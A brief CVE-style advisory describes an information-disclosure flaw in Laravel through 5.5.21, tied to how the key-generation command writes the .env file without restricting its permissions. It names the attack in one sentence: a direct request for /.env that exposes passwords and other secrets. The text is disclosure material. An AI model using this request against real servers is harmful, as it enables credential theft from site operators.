Laravel through 5.5.21 is susceptible to information disclosure. An attacker can obtain sensitive information such as externally usable passwords via a direct request for the /.env URI. NOTE: CVE pertains only to the writeNewEnvironmentFileWith function in src/Illuminate/Foundation/Console/KeyGenerateCommand.php, which uses file_put_contents without restricting .env permissions. The .env filename is not used exclusively by Laravel.
